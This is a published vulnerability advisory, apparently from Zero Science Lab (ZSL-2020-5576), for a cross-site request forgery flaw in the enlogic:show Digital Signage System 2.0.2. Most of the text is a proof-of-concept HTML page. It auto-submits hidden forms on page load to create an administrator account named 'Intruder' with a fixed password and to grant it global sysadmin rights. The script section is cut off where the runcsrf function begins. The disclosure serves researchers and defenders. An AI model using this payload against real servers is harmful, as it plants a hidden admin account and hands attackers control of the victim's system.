<!DOCTYPE html>  
All-Dynamics Software enlogic:show Digital Signage System 2.0.2 CSRF Add Admin  
Vendor: All-Dynamics Software GmbH  
Product web page:  
Affected version: 2.0.2 (Build 2098) ILP32W 0/1/3/1597919619  
Summary: Bring communication with your customers, guests or employees  
to a new level. You can design content individually and uncomplicated  
centrally and simply present it in different locations. Whether on large  
displays, steles, digital signs or on a projector, with enlogic:show your  
content will appear on the selected display in a calendar-controlled and  
precise manner.  
Desc: The application interface allows users to perform certain actions  
via HTTP requests without performing any validity checks to verify the  
requests. This can be exploited to perform certain actions with administrative  
privileges if a logged-in user visits a malicious web site.  
Tested on: enlogic:show server  
Microsoft Windows Server 2019  
Microsoft Windows Server 2016  
Microsoft Windows Server 2012  
Microsoft Windows 10  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2020-5576  
Advisory URL:  
<body onload="runcsrf()">  
<h2>Grants the user the global administrative right. Administrative users are no longer under the control of the rights structure.</h2>  
<h1>Global: Superior rolebased rights.</h1>  
<form name="saveuser" action="http://localhost:8802/index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65&ES_CMD=display.users.saveuser" method="POST" target="frame0">  
<input type="hidden" name="SAVECMD" value="usr_generic" />  
<input type="hidden" name="NEWUSER" value="1" />  
<input type="hidden" name="USERNAME" value="Intruder" />  
<input type="hidden" name="USERFULLNAME" value="ZSL" />  
<input type="hidden" name="USERTAGS" value="tags" />  
<input type="hidden" name="USEREMAIL" value="" />  
<input type="hidden" name="USERPHONE" value="333-222-1111" />  
<input type="hidden" name="PWEXPIRE" value="0" />  
<input type="hidden" name="NEWPW1" value="Pa$$w0rd!" />  
<input type="hidden" name="NEWPW2" value="Pa$$w0rd!" />  
<input type="hidden" name="USERLANG" value="en" />  
<input type="hidden" name="STARTSCREEN" value="display.calendar" />  
<input type="hidden" name="USERCUSTIMEOUT" value="20" />  
<form name="addadmin" action="http://localhost:8802/index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65&ES_CMD=display.users.saveuser" method="POST" target="frame1">  
<input type="hidden" name="SAVECMD" value="usr_rights" />  
<input type="hidden" name="SYSFLAGS[]" value="TYPE_SYSADMIN" />  
<iframe name="frame0"></iframe>  
<iframe name="frame1"></iframe>  
function runcsrf() {